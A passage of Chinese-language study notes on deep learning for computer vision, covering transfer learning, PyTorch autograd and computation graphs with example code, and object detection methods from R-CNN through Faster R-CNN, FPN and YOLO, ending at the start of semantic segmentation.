比如现在有10个模型,那么最终的预测结果就是这10个模型预测结果的平均值。或者使用投票的方式,选择预测结果最多的那个类别。类似于KNN的思想。
Transfer Learning¶
迁移学习(Transfer Learning)是一种机器学习方法,它利用在一个任务中学到的知识来帮助解决另一个相关任务。迁移学习特别适用于当目标任务的数据有限或难以获取时。
例如在图像分类中,如果目标任务是识别1000个类别,那么可以先使用一个在ImageNet上预训练的模型,然后在这个模型上进行微调。
-
选择预训练模型: 首先,选择一个在 ImageNet 上预训练的模型。常用的模型包括 VGG、ResNet、Inception、DenseNet 等。这些模型在 ImageNet 上已经学习到了丰富的特征表示。
-
冻结卷积层: 通常,预训练模型的前几层(卷积层)会被保留并冻结,因为它们学习到的特征(如边缘、纹理)是通用的,不需要在目标任务中重新训练。
-
替换全连接层: 最后的全连接层通常与 ImageNet 的 1000 个类别相关。需要将其替换为与目标任务类别数相匹配的新层。
-
微调策略:
- 冻结大部分层: 只训练最后几层或新添加的层。这种方法适用于目标任务与 ImageNet 任务相似的情况。
- 解冻部分层: 如果目标任务与 ImageNet 任务有较大差异,可以解冻部分卷积层进行微调,以适应新任务的特征。
-
选择合适的学习率: 微调时,通常使用较小的学习率,以避免对预训练权重进行过大的调整。
-
数据增强: 使用数据增强技术(如旋转、翻转、缩放)来增加数据的多样性,提高模型的泛化能力。
-
数据预处理: 确保输入图像的尺寸和格式与预训练模型的要求一致(例如,通常需要将图像缩放到 224x224 像素,并进行归一化处理)。
由于模型已经在大规模数据集上预训练,微调所需的时间通常较短。迁移学习可以显著提高目标任务的性能,特别是在数据有限的情况下。过利用预训练模型,目标任务所需的数据量可以显著减少。
Software in CV--PyTorch¶
约 1404 个字 141 行代码 1 张图片 预计阅读时间 7 分钟
Autograd¶
在 PyTorch 中,autograd 是一个用于自动微分的包,它是 PyTorch 的核心特性之一。autograd 使得神经网络的反向传播变得非常简单,因为它能够自动计算张量的梯度。
Autograd 的工作原理¶
-
计算图:
autograd通过记录张量上的所有操作来构建一个有向无环图(DAG),其中叶子节点是输入张量,根节点是输出张量。每个节点表示一个计算过程。 -
反向传播: 当调用
.backward()方法时,autograd会自动计算损失函数相对于每个叶子节点的梯度。梯度是通过链式法则计算的。 -
梯度存储: 计算得到的梯度会存储在调用
.backward()的张量的.grad属性中。
使用 Autograd¶
以下是一个简单的例子,展示了如何使用 autograd 进行自动微分:
import torch
# 创建一个张量,并设置 requires_grad=True 以便追踪其计算历史
x = torch.tensor([2.0, 3.0], requires_grad=True)
# 定义一个简单的函数 y = x1^2 + x2^3
y = x[0]**2 + x[1]**3
# 反向传播以计算梯度
y.backward()
# 输出梯度
print(x.grad) # 输出: tensor([4., 27.])
在这个例子中,x 是一个具有两个元素的张量,并且我们希望计算 y 对 x 的梯度。通过调用 y.backward(),autograd 自动计算了 y 对 x 的偏导数,并将结果存储在 x.grad 中。
-
requires_grad: 只有设置了
requires_grad=True的张量会被autograd跟踪。默认情况下,所有创建的张量的requires_grad属性为False。 -
梯度累积: 每次调用
.backward()时,梯度会累积到.grad属性中。因此,在每次反向传播之前,通常需要将梯度清零(x.grad.zero_())。 -
不需要梯度的计算: 在某些情况下(例如推理阶段),你可能不需要计算梯度。可以使用
torch.no_grad()上下文管理器来临时禁用梯度计算,从而提高性能并节省内存。
Example
import torch
N, D_in, H, D_out = 64, 1000, 100, 10
x = torch.randn(N, D_in)
y = torch.randn(N, D_out)
w1 = torch.randn(D_in, H, requires_grad=True)
w2 = torch.randn(H, D_out, requires_grad=True)
learning_rate = 1e-6
for t in range(500):
y_pred = x.mm(w1).clamp(min=0).mm(w2)
loss = (y_pred - y).pow(2).sum()
loss.backward()
with torch.no_grad():
w1 -= learning_rate * w1.grad
w2 -= learning_rate * w2.grad
w1.grad.zero_()
w2.grad.zero_()
在这段代码执行时,torch会自动构建如下的计算图
并在反向传播时自动计算梯度
在不需要构建计算图时,可以使用 torch.no_grad() 上下文管理器来临时禁用梯度计算,在这里,我们进行梯度下降时,不需要构建计算图,所以使用 torch.no_grad() 上下文管理器来临时禁用梯度计算,结束之后,在进入下一次的迭代之前,需要将梯度清零,所以使用 w1.grad.zero_() 和 w2.grad.zero_() 清零梯度。
自定义函数¶
在 PyTorch 中,可以通过继承 torch.autograd.Function 来定义新的自动求导算子,并实现 forward 和 backward 方法。以下是使用 sigmoid 函数的示例:
import torch
class SigmoidFunction(torch.autograd.Function):
@staticmethod
def forward(ctx, input):
# 计算 sigmoid 函数
result = 1 / (1 + torch.exp(-input))
# 保存结果以便在反向传播中使用
ctx.save_for_backward(result)
return result
@staticmethod
def backward(ctx, grad_output):
# 获取保存的结果
result, = ctx.saved_tensors
# 计算 sigmoid 函数的梯度
grad_input = grad_output * result * (1 - result)
return grad_input
# 示例用法
x = torch.tensor([1.0, 2.0, 3.0], requires_grad=True)
sigmoid = SigmoidFunction.apply
y = sigmoid(x)
y.backward(torch.ones_like(x))
print(x.grad) # 输出梯度
Function:
- 创建一个类 SigmoidFunction,继承自 torch.autograd.Function。
- Forward 方法:
forward方法计算函数的输出。它接收一个上下文ctx和输入张量。- 计算 sigmoid: \( \text{result} = \frac{1}{1 + e^{-\text{input}}} \)。
-
使用
ctx.save_for_backward(result)保存结果,以便在反向传播中使用。 -
Backward 方法:
backward方法计算函数相对于输入的梯度。- 使用
ctx.saved_tensors获取保存的结果。 -
计算梯度: \( \text{grad\_input} = \text{grad\_output} \times \text{result} \times (1 - \text{result}) \)。
-
用法:
- 使用
SigmoidFunction.apply来应用自定义函数。 - 使用
y.backward()进行反向传播以计算梯度。
Modules¶
在 PyTorch 中,torch.nn 模块提供了构建神经网络的基础组件。它包含了各种神经网络层、损失函数和其他工具,帮助你快速构建和训练深度学习模型。
import torch
import torch.nn as nn
import torch.optim as optim
# 定义一个简单的全连接神经网络
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 50)
self.relu = nn.ReLU()
self.fc2 = nn.Linear(50, 1)
def forward(self, x):
x = self.fc1(x)
x = self.relu(x)
x = self.fc2(x)
return x
# 创建模型、定义损失函数和优化器
model = SimpleNet()
criterion = nn.MSELoss()
optimizer = optim.SGD(model.parameters(), lr=0.01)
# 示例输入和目标
input = torch.randn(5, 10)
target = torch.randn(5, 1)
# 前向传播
output = model(input)
loss = criterion(output, target)
# 反向传播和优化
optimizer.zero_grad()
loss.backward()
optimizer.step()
Graphs¶
在深度学习框架中,计算图用于表示计算过程。PyTorch 和其他框架(如 TensorFlow)在计算图的构建上有不同的策略,主要分为动态计算图和静态计算图。
动态计算图(Dynamic Computation Graph)¶
- 特性:
- 计算图在每次前向传播时动态构建。
- 允许在运行时改变图的结构。
-
更加灵活,适合处理变长输入和条件逻辑。
-
优点:
- 易于调试,因为可以使用标准的 Python 调试工具。
-
代码更直观,与普通的 Python 代码相似。
-
缺点:
- 可能在某些情况下效率不如静态图,因为每次前向传播都需要重新构建图。
动态计算图允许在前向传播过程中使用常规的 Python 控制流。这意味着你可以在模型的前向传播中使用 Python 的条件语句、循环等控制结构,而不需要预先定义整个计算图。
你可以根据输入数据的不同,动态调整计算图的结构。例如,可以在前向传播中使用 if 语句来选择不同的计算路径。
import torch
def dynamic_model(x, threshold):
if x.sum() > threshold:
return x * 2
else:
return x / 2
x = torch.tensor([1.0, 2.0, 3.0], requires_grad=True)
threshold = 5.0
y = dynamic_model(x, threshold)
y.backward(torch.ones_like(x))
print(x.grad) # 输出梯度
在这个例子中,dynamic_model 使用了一个 if 语句来根据输入 x 的和是否大于 threshold 来选择不同的计算路径。这种灵活性是动态计算图的一个重要特性,使得模型可以根据不同的输入动态调整其行为。
静态计算图(Static Computation Graph)¶
- 特性:
- 计算图在编译时构建,并在训练过程中保持不变。
-
需要在开始时定义整个模型的计算图。
-
优点:
- 可以进行全局优化,可能提高性能。
-
适合在生产环境中部署,因为图是固定的。
-
缺点:
- 不易于调试,因为图在编译时构建。
- 代码可能不如动态图直观,尤其是在处理变长输入时。
使用静态图的例子如下:
import torch
def model(x, y, w1, w2a, w2b, prev_loss):
w2 = w2a if prev_loss < 5.0 else w2b
y_pred = x.mm(w1).clamp(min=0).mm(w2)
loss = (y_pred - y).pow(2).sum()
return loss
N, D_in, H, D_out = 64, 1000, 100, 10
x = torch.randn(N, D_in)
y = torch.randn(N, D_out)
w1 = torch.randn(D_in, H, requires_grad=True)
w2a = torch.randn(H, D_out, requires_grad=True)
w2b = torch.randn(H, D_out, requires_grad=True)
graph = torch.jit.script(model)#使用 torch.jit.script 将 model 函数转换为 TorchScript。
prev_loss = 5.0
learning_rate = 1e-6
for t in range(500):
loss = graph(x, y, w1, w2a, w2b, prev_loss)
prev_loss = loss.item()
loss.backward()
with torch.no_grad():
w1 -= learning_rate * w1.grad
w2a -= learning_rate * w2a.grad
w2b -= learning_rate * w2b.grad
w1.grad.zero_()
w2a.grad.zero_()
w2b.grad.zero_()
Summary
- PyTorch: 使用动态计算图,提供了更大的灵活性和易用性。
- TensorFlow: 早期版本使用静态计算图,TensorFlow 2.x 引入了 Eager Execution,支持动态计算图动态计算图的灵活性使得 PyTorch 在研究和开发中非常受欢迎,而静态计算图的优化能力使得它在某些生产环境中更具优势。
Object Detection¶
约 8975 个字 33 张图片 预计阅读时间 31 分钟
Introduction¶
物体检测:
- 分类问题:判断图片中是否存在某个物体
- 检测问题:判断图片中存在哪些物体,并给出它们的位置
Input: RGB image Output:
- Class
- Bounding box
与图像分类不同,物体检测需要输出多个物体的位置和类别。
- Multiple outputs
- Multiple types of output
Modal vs. Amodal boxes
一般的检测框只考虑物体在图片中的位置,而Amodal boxes则需要考虑整个物体在图片中的位置。

IoU¶
IoU(Intersection over Union)是用于评估物体检测模型性能的重要指标。它用于衡量预测边界框与真实边界框之间的重叠程度。
- Area of Overlap :预测框和真实框重叠部分的面积。
- Area of Union 预测框和真实框的总面积(即两个框的面积之和减去重叠部分的面积)。
IoU 的值介于 0 和 1 之间,值越接近 1 表示预测框与真实框的重叠程度越高。通常在物体检测任务中,会设定一个阈值(如 0.5)来判断预测是否为正确检测。
一般而言,IoU 的阈值为 0.5 时,可以认为预测框与真实框的重叠程度较高。大于0.7时,已经是很好的检测了,大于0.9时,几乎可以认为预测框与真实框是相同的。
Detecting¶
Single object¶
首先输入图片到一个预训练的CNN模型(Tranfer Learning),然后得到一个特征向量,将其通过两个神经网络分别得到分类结果和位置结果(一般是四个值,x,y,w,h,表示中心坐标和宽高)。将两个结果分别计算损失函数,然后相加,再加上正则化项,得到总的损失函数。
但是这样的问题是,如果图片中存在多个物体,那么每个图片需要预测的输出数量是不同的,这样就无法使用一个固定的神经网络来处理所有图片。
Multiple objects¶
Sliding Window¶
在滑动窗口方法中,将 CNN 应用于图像的多个不同裁剪,CNN 将每个裁剪分类为物体或背景。
依次将裁剪后的部分输入到CNN模型中,然后得到分类结果和位置结果,并加上一个额外的类别作为背景。
- 考虑一个大小为 \(h \times w\) 的框:
- 可能的 x 位置:\(W - w + 1\)
- 可能的 y 位置:\(H - h + 1\)
- 可能的位置总数:\((W - w + 1) \times (H - h + 1)\)
- 对于一个 \(800 \times 600\) 的图像,大约有 5800 万个框
- 无法评估所有这些框。
Region Proposals¶
Region Proposal 方法通过使用预训练的卷积神经网络(CNN)来生成候选区域,这些候选区域可能包含物体。
一般来说,Region Proposal 方法可以在CPU上运行;
然后真实框的生成是根据Region Proposal 方法生成的候选区域,然后通过IoU来判断是否为真实框。
R-CNN¶
R-CNN(Region-based Convolutional Neural Network)是第一个基于Region Proposal的物体检测方法,由Ross Girshick等人于2014年提出。
R-CNN的工作流程包括以下步骤:
-
区域提议(Region Proposal) :使用选择性搜索(Selective Search)算法生成约2000个可能包含物体的候选区域。
-
特征提取:对每个候选区域,将其裁剪并缩放到固定大小(如227×227),然后通过预训练的CNN(如AlexNet)提取特征。
-
分类:对CNN提取的特征进行分类,确定每个区域属于哪一类物体或背景。
-
边界框回归:使用回归器对边界框位置进行微调,使其更准确地包围物体。
在边界框回归(Box Regression)中,其过程一般是这样的:
首先对于一个候选区域(Region Proposal生成的),假设其中心位置为 \( (p_x, p_y) \),宽为 \( p_w \),高为 \( p_h \),其预测的中心位置为 \( (x, y) \),宽为 \( w \),高为 \( h \)。
假设回归时调整的四个参数为 \( (t_x, t_y, t_w, t_h) \),那么其回归的公式为:
即对于中心位置,进行一个平移,对于宽高,进行一个缩放。
Categorize region proposals¶
在R-CNN训练过程中,需要对每个候选区域(Region Proposal)进行分类,确定它们是前景(包含目标物体)还是背景。这个分类过程基于候选区域与真实标注边界框(Ground Truth Box)之间的IoU值。
根据IoU值,候选区域被分为三类:
- GT box :真实区域
- 正样本(Positive) :与某个真实标注框的IoU > 0.5的区域,一般来说这种样本可以确定物体
- 负样本(Negative) :与所有真实标注框的IoU < 0.3的区域,一般来说这种样本可以确定为背景
- 中性样本(Neutral) :IoU值在0.3到0.5之间的区域,一般来说这种样本可能是包含了物体的一部分,不太准确,但又不完全是背景。
在训练过程中,正样本用于学习特定类别的特征,负样本用于学习背景类别的特征,而中性样本通常在训练中被忽略,因为它们既不是很好的正样本也不是很好的负样本,可能会引入噪声。
对于每个正样本,R-CNN使用其对应的真实标注框类别作为训练标签;对于负样本,则将其标记为"背景"类别。这种分类策略有助于模型学习区分目标物体和背景,提高检测精度。
在测试过程中,分为以下三个步骤
- 生成候选区域
- 对于每个候选区域,使用RCNN模型得到分类的分数和位置的回归结果
- 调整分类阈值,得到最终的检测结果
但是有以下两个问题
- 预测的结果经常会出现重复的框
- 如何设置阈值?
NMS¶
非极大值抑制(Non-Maximum Suppression, NMS)是物体检测后处理的重要技术,用于解决检测算法可能产生的多个重叠边界框问题。
问题:物体检测器通常会为同一个物体生成多个重叠的检测框,尤其是当使用区域提议方法时。
解决方案:使用非极大值抑制对原始检测结果进行后处理,保留最可能的检测框,删除冗余的检测框。
NMS算法步骤:
- 选择具有最高置信度分数的检测框
- 删除与该框IoU大于设定阈值(例如0.7)的所有低分框
- 如果还有检测框剩余,返回步骤1继续处理
在上图示例中,多个框检测到同一只狗,置信度分别为0.9、0.8、0.75和0.7。
首先对0.9的框进行NMS,删除与该框IoU大于0.7的所有低分框,即删除0.8的框,然后保留0.9的框。
然后对0.75的框进行NMS,删除与该框IoU大于0.7的所有低分框,即删除0.7的框,然后保留0.75的框。
没有剩下的框了,所以结束。
NMS是几乎所有现代物体检测系统的标准后处理步骤,它显著提高了检测的准确性和可视化结果的质量。
R-CNN的缺点:
- 速度慢:需要对每个候选区域单独进行特征提取,计算量大。一张图像的处理时间约为47秒。
- 训练复杂:分为多个阶段,需要分别训练CNN、SVM和边界框回归器。
- 存储需求大:需要存储所有候选区域的特征。
尽管存在这些缺点,R-CNN作为深度学习在物体检测领域的早期应用,奠定了后续Fast R-CNN、Faster R-CNN等方法的基础。
Evaluating Object Detectors¶
Mean Average Precision (mAP)¶
平均精度均值(Mean Average Precision, mAP)是评估物体检测模型性能最常用的指标。它综合考虑了模型的精确率(Precision)和召回率(Recall)。
计算mAP的步骤
- 在所有测试图像上运行物体检测器(应用NMS后)
- 对于每个类别,计算平均精度(Average Precision, AP):
- AP = 精确率-召回率曲线下的面积
- 具体计算过程:
- 将该类别的所有检测结果按置信度分数从高到低排序
- 依次处理每个检测结果:
- 如果检测与某个真实边界框(GT box)的IoU > 0.5,则标记为正样本(TP),并从考虑列表中移除该GT box
- 否则标记为负样本(FP)
- 根据累积的TP和FP,计算每个检测点的精确率和召回率
- 绘制PR曲线并计算曲线下面积
- 计算所有类别AP值的平均值,得到mAP
上面的例子中,其过程是这样的,首先,对于最高的0.99的框,其match了一个GT box,将这个GT box从考虑列表中移除,此时
- Precision = 1/1 = 1
- Recall = \(\frac{1}{3}\)
所以在图中第一个点为(1, \(\frac{1}{3}\))
接下来,对于0.95的框,也match了一个GT box,将这个GT box从考虑列表中移除,此时
- Precision = \(\frac{2}{2} = 1\)
- Recall = \(\frac{2}{3}\)
所以在图中第二个点为(1, \(\frac{2}{3}\))
对于0.90的框,其没有match任何GT box,所以此时
- Precision = \(\frac{2}{3}\)
- Recall = \(\frac{2}{3}\)
所以在图中第三个点为(\(\frac{2}{3}\), \(\frac{2}{3}\))
对于0.5的框,其没有match任何GT box,所以此时
- Precision = \(\frac{2}{4}\)
- Recall = \(\frac{2}{3}\)
所以在图中第四个点为(\(\frac{2}{4}\), \(\frac{2}{3}\))
最后一个点,对于0.1的框,其match最后的GT box,所以此时
- Precision = \(\frac{3}{5}\)
- Recall = \(\frac{3}{3}\)
所以在图中第五个点为(\(\frac{3}{5}\), \(\frac{3}{3}\))
然后计算PR曲线下面积,即AP,为0.86
作为例子,上图显示"狗"类别的AP为0.86,表示该模型在检测狗方面有较好的性能。最终的mAP值将是所有类别AP值的平均。即例如APdog = 0.86, APcar = 0.75, APbike = 0.64, 那么mAP = \(\frac{APdog + APcar + APbike}{3}\) = 0.75
注意事项:
-
要获得AP=1.0,模型必须检测到所有IoU>0.5的GT boxes,且不存在任何"假阳性"检测结果排在"真阳性"之,即若有n个GT box,那么模型需要检测到n个TP,且不存在任何FP排在TP之前。
-
mAP可以在不同IoU阈值下计算,常见的有IoU=0.5(称为mAP@0.5)和IoU=0.5:0.95(多个IoU阈值的平均,如COCO数据集)
-
较高的mAP值表示检测器在精确率和召回率方面都有良好表现
Object Detectors¶
Fast R-CNN¶
Fast R-CNN是R-CNN的改进版本
Fast R-CNN的工作流程包括以下步骤:
-
特征提取 :整个输入图像通过"backbone"网络(如AlexNet、VGG、ResNet等)一次性提取特征,生成特征图
-
区域提议 :使用某种区域提议方法(如Selective Search)生成候选区域(RoIs)
-
RoI池化 :对每个候选区域在特征图上进行裁剪和调整大小操作
-
特征分类与回归 :将处理后的特征通过一个每区域网络(Per-Region Network),最终输出每个区域的类别(Class)和边界框(Bbox)位置
{ width=70% }
RoI Pooling¶
这张图片展示了Fast R-CNN中的RoI Pool(区域兴趣池化)操作,这是Fast R-CNN的核心创新之一。
-
输入图像(Input Image),尺寸例如3×640×480,显示一只小猫的照片,绿色方框代表一个候选区域(Region Proposal)。
-
图像经过CNN backbone处理后得到的特征图(Image features),尺寸例如512×20×15(其中512是特征通道数)。
-
操作过程:将原始图像上的候选区域"Project proposal onto features"(投影到特征图上),即将输入图像上的区域映射到对应的特征图位置。
-
目标:"Want features for the box of a fixed size"(想要获得固定大小的特征表示):
- 在这个例子中是2×2大小
- 在实际应用中通常是7×7或14×14
RoI Pool的关键作用是:
- 将不同大小的候选区域统一转换为固定大小的特征表示
- 这样后续的全连接层就可以处理固定维度的输入
- 大大提高了计算效率,因为整个图像只需要通过CNN一次
这种操作解决了R-CNN中每个区域都需要单独通过CNN的低效问题,是Fast R-CNN速度快的关键原因之一。
ROI Align¶
RoI Align是对RoI Pool的改进版本,主要解决了RoI Pool中的量化误差问题。
-
无四舍五入操作:No snapping!,意味着RoI Align不像RoI Pool那样对区域坐标进行四舍五入,而是保留精确的浮点数位置。
-
双线性插值采样:在每个子区域中使用规则间隔的采样点,通过双线性插值(bilinear interpolation)来计算这些点的特征值,而不必进行四舍五入。
-
更精确的特征提取:图中右侧展示了如何计算一个采样点(x,y)的特征值:
- 找到该点周围的四个网格单元(如f6,5、f7,5、f6,6、f7,6)
- 根据距离计算权重,进行加权平均
- 例如:f6.5,5.8 = (f6,5 * 0.5 * 0.2) + (f7,5 * 0.5 * 0.2) + (f6,6 * 0.5 * 0.8) + (f7,6 * 0.5 * 0.8)
- 避免了量化误差:不再强制将浮点坐标四舍五入到整数位置
- 保留了更多空间信息:通过插值计算特征值,而不是直接max pooling
- 提高了检测精度:特别是对小物体和需要精确定位的任务效果明显
Example
当我们有一个特征图和一个感兴趣区域(RoI)时,需要从特征图中提取该区域的特征,并将其转换为固定大小(例如7×7)。
第1步:映射RoI到特征图
- 假设原始图像中有一个物体边界框(例如左上角坐标为(20,30),右下角为(180,240))
- 由于图像经过CNN后特征图变小了(比如缩小了16倍),这个边界框在特征图上的坐标变为:(1.25, 1.875)到(11.25, 15)
- 注意 : RoI Pool会将这些坐标四舍五入为整数,而RoI Align保留精确的浮点数坐标
第2步:将RoI划分为固定数量的子区域
- 假设我们要得到7×7大小的特征表示
- 则将RoI在特征图上对应的区域均匀分成7×7=49个小格子
- 每个小格子在特征图上可能不是整数大小(例如宽1.428,高1.875)
第3步:在每个子区域内放置采样点
- 在每个小格子内部放置一组规则间隔的采样点(通常是2×2或3×3个点)
- 例如:一个小格子内放置4个采样点,它们的位置也是精确的浮点数坐标
第4步:对每个采样点进行双线性插值
- 每个采样点的坐标通常落在特征图的"像素网格"之间
- 找出该采样点周围的4个特征图像素(如上图中的f6,5, f7,5, f6,6, f7,6)
- 根据采样点到这4个像素的距离计算权重
- 用这些权重对4个像素的特征值进行加权平均
举个具体例子:
- 采样点坐标为(6.5, 5.8)
- 它周围的4个特征图像素坐标为(6,5), (7,5), (6,6), (7,6)
- 计算水平和垂直方向的权重:
- 水平距离:|6.5-6|=0.5和|6.5-7|=0.5
- 垂直距离:|5.8-5|=0.8和|5.8-6|=0.2
-
最终特征值计算:
-
f6.5,5.8 = (f6,5×0.5×0.2) + (f7,5×0.5×0.2) + (f6,6×0.5×0.8) + (f7,6×0.5×0.8)
第5步:聚合采样点特征
- 计算完每个小格子内所有采样点的特征值后
- 对这些采样点进行聚合(通常是取平均值或最大值)
- 得到该小格子的最终特征值
第6步:生成最终特征表示
- 49个小格子分别得到一个特征值
- 组合起来形成7×7大小的特征表示
- 这个固定大小的特征表示会传递给后续网络进行分类、回归等任务
RoI Align的核心创新就是在第4步,通过精确计算保留了更多的空间信息,避免了RoI Pool中的量化误差。
Faster R-CNN¶
有了Fast R-CNN后,限制时间的主要因素就在于Region Proposal,所以Faster R-CNN的提出就是为了解决这个问题。
其创新点在于插入了一个RPN(Region Proposal Network),用于生成Region Proposal。
- 输入图像首先通过CNN骨干网络(如VGG、ResNet)进行处理
-
生成特征图(feature map),包含了图像的高级特征表示
-
特征图被送入区域提议网络(RPN)
- RPN是一个小型的卷积神经网络,直接在特征图上滑动窗口
-
对于特征图上的每个位置,RPN预测:
- 是否包含物体(二分类:前景/背景)
- 多个不同尺寸和比例的边界框(称为"锚点框",anchors)
- 每个边界框的调整量(位置微调)
-
应用非极大值抑制(NMS)筛选出最佳的区域提议
-
将RPN生成的区域提议映射回特征图上
-
使用RoI Pooling(或改进版RoI Align)将不同大小的区域转换为固定大小的特征表示
-
这些固定大小的RoI特征通过两个并行的全连接层网络:
- 分类网络:预测每个区域的物体类别(Classification loss)
- 回归网络:进一步精细调整边界框位置(Bounding-box regression loss)
-
应用NMS去除重复检测
- 生成最终的检测结果:物体类别和精确边界框
与Fast R-CNN相比,Faster R-CNN将整个检测流程变成了一个完全可学习的端到端系统,大幅提高了检测速度和准确性。
RPN¶
RPN的工作流程如下:
-
特征提取
- 输入图像(例如3×640×480大小的猫咪图片)首先通过骨干CNN网络处理
- 生成与输入图像对齐的特征图(例如512×5×6,其中512是特征通道数)
- 特征图上的每个点对应原始输入图像上的一个区域
-
锚点机制
- 在特征图的每个位置上,生成多个预定义的边界框,称为"锚点"(anchors),在特征图上是一个点,对应到原图上感受野的中心点,然后生成多个不同尺寸和比例的边界框
- 这些锚点有不同的尺寸和比例,以适应不同大小的物体
- 图中没有直接显示,但通常每个位置会有k个锚点(比如k=9,3种尺寸×3种比例)
-
锚点二分类
- 使用卷积层对特征图进行处理(512个输入通道,2个输出通道)
- 对每个锚点进行二分类:
- 正样本(绿色):可能包含物体的锚点
- 负样本(红色):不包含物体的锚点
- 输出维度为2×5×6×k(k为每个位置的锚点数)
-
锚点位置调整
- 虽然图中没有明确显示,但RPN还包括一个边界框回归部分:
- 对于每个锚点,预测位置调整量(中心点坐标x、y和宽高w、h的调整值)
- 这部分通常是另一个卷积层,输出维度为4×5×6×k(每个锚点4个回归值)
在训练过程中,还需要根据生成的锚点框分类成
- Positive: 与GT box的IoU>0.7,这样锚点框与GT box的IOU越大,表示越可能包含物体
- Negative: 与GT box的IoU<0.3,这样锚点框与GT box的IOU越小,表示越不可能包含物体
- 中性样本(Neutral):IoU在0.3到0.7之间的锚点框,通常在训练中被忽略
对于正样本锚点框,网络会同时学习分类(前景/背景)和边界框回归(位置调整)。 而对于负样本锚点框,网络只学习分类任务(将其识别为背景),不监督其位置变换,因为这些区域不包含需要精确定位的物体。
Dealing with Scale¶
我们需处理不同尺度的物体,如何增加detector的尺度不变性呢?
Image Pyramid¶
图像金字塔(Image Pyramid)是处理不同尺度物体检测的经典方法。其基本思想是:
- 将输入图像调整为多个不同尺度(大小)的版本,形成一个"金字塔"
- 对每个尺度的图像独立运行物体检测器
- 合并来自不同尺度的检测结果
这种方法的主要优点是:
- 简单直观,容易实现
- 可以检测到不同大小的物体,特别是非常小的物体
- 与任何物体检测算法兼容
然而,图像金字塔也存在明显的缺点:
- 计算成本高昂:需要对每个尺度的图像独立运行完整的检测流程
- 不同尺度之间没有共享计算,导致大量冗余计算
- 内存消耗大:需要存储多个尺度的图像和中间特征
- 推理速度慢:处理时间与金字塔层数成正比
这些缺点限制了图像金字塔在需要实时性能的应用中的使用,尤其是在计算资源有限的设备上。
Multi-Scale Features¶
多尺度特征(Multi-Scale Features)是解决不同尺度物体检测的另一种方法,利用CNN网络内部不同层级的特征图进行检测。
基本思想是:
- CNN网络有多个阶段(stages),每个阶段的特征图分辨率不同
- 较浅层(early stages)的特征图分辨率高,包含更多空间细节,适合检测小物体
- 较深层(later stages)的特征图分辨率低,但包含更抽象的语义信息,适合检测大物体
- 在多个不同分辨率的特征图上分别进行物体检测
如图所示,一个典型的多尺度特征检测系统包括:
- 输入图像(例如224×224大小)经过CNN网络的几个阶段处理
- 从不同阶段提取特征图:
- Stage 2:产生56×56大小的特征图
- Stage 3:产生28×28大小的特征图
- Stage 4:产生14×14大小的特征图
- Stage 5:产生7×7大小的特征图
- 对每个特征图使用独立的物体检测器
这种方法的主要优点:
- 计算效率高:只需要处理一次输入图像
- 特征复用:不同尺度的检测共享早期计算结果
- 适应性强:可以处理不同尺度的物体
但也存在一些问题:
- 检测器问题:在早期特征上的检测器无法利用整个backbone网络,无法访问高层次的语义特征
- 特征不平衡:不同层级的特征具有不同的语义信息和分辨率,可能导致检测性能不一致
为了解决这些问题,研究人员提出了特征金字塔网络(Feature Pyramid Network, FPN)等改进方法,通过自顶向下的路径和横向连接,将高层次语义信息融合到所有尺度的特征图中。
Feature Pyramid Network¶
特征金字塔网络(Feature Pyramid Network, FPN)是解决多尺度物体检测问题的另一种方法,通过自顶向下的路径和横向连接,将高层次语义信息融合到所有尺度的特征图中。
FPN的设计理念是结合了图像金字塔和多尺度特征的优点,同时克服了它们的缺点。主要组成部分包括:
-
自底向上路径(Bottom-up Pathway)
- 这就是CNN骨干网络的前向传播
- 从输入图像开始,通过卷积、池化等操作逐渐减小特征图尺寸
- 生成不同分辨率的特征图(如上图中C2、C3、C4、C5)
-
自顶向下路径(Top-down Pathway)
- 从最高层(最小分辨率)的特征图开始
- 通过上采样(通常是2倍放大)将特征图的空间尺寸逐步恢复
- 生成与自底向上路径相同分辨率的特征图(P5、P4、P3、P2)
-
横向连接(Lateral Connections)
- 将自底向上路径的特征图与上采样的特征图相连接
- 通过1×1卷积调整通道数,使其匹配
- 通过元素级加法融合两种特征,结合了高层语义信息和低层空间细节
FPN的主要优势:
- 丰富的特征表示:每个尺度的特征图都包含了高级语义信息和适当的空间细节
- 计算效率:只需要处理一次输入图像,比图像金字塔高效得多
- 检测性能:各尺度的物体检测性能更一致,小物体的检测精度显著提升
- 通用性:可以与多种物体检测框架(如Faster R-CNN、RetinaNet等)结合使用
在实际应用中,通常在P2-P5这四个特征图上分别运行RPN和检测器,然后合并结果。相比于单一尺度的特征图,FPN显著提高了物体检测的准确率,特别是对于小物体的检测。
Single-Stage Detectors¶
上述介绍的R-CNN系列方法都是双阶段检测器,需要先生成候选区域,再进行分类和位置回归。而单阶段检测器则直接在图像上进行检测,跳过了区域提议这一步骤。
YOLO (You Only Look Once)¶
YOLO是一种快速、准确的单阶段物体检测算法,由Joseph Redmon等人于2016年提出。其核心思想是将物体检测视为一个直接从图像像素到边界框坐标和类别概率的回归问题。
-
网格划分:
-
将输入图像划分为S×S个网格
-
在原始YOLO中,通常S=7,即7×7=49个网格
-
预测:对于每个网格,预测:
-
B个边界框(每个框包含5个值:x, y, w, h, confidence)
- C个类别的条件概率
-
每个网格的输出维度为B×5+C
-
置信度评分:
-
每个边界框有一个置信度分数:Pr(Object)×IoU
- Pr(Object):表示框中是否包含物体
-
IoU:如果包含物体,表示预测框与真实框的重叠程度
-
后处理:
-
过滤低置信度的预测框
- 应用非极大值抑制(NMS)去除重复检测
- 输出最终的检测结果
YOLO的主要优点:
- 速度快:在强大的GPU上可以达到45-155 FPS的实时性能
- 全局推理:在预测时考虑整个图像的上下文,减少了背景错误
- 可泛化能力强:学到的表示更具泛化性,在新领域或不常见情景中表现更好
- 端到端训练:可以直接优化检测性能
缺点:
- 空间约束:由于每个网格只能预测有限数量的边界框,对于密集物体的检测性能有限
- 小物体检测性能较弱:特别是当多个小物体聚集在一个网格内时
- 分类精度略低于双阶段检测器:在某些基准测试上
YOLO后来有多个改进版本,包括YOLOv2、YOLOv3、YOLOv4等,不断提升了检测精度和速度.
Image Segmentation¶
图像分割(Image Segmentation)是计算机视觉领域的一个重要任务,旨在将图像中的每个像素分类为不同的语义类别,如物体、背景等。
Semantic Segmentation¶
语义分割(Semantic Segmentation)是图像分割的一种形式,旨在将图像中的每个像素分类为不同的语义类别,如物体、背景等。
但是这个并不区分每种类别的具体个数;
Sliding Window¶
仍然可以通过滑动窗口的方式,来检测每个像素的类别,但是这样会存在大量的冗余计算
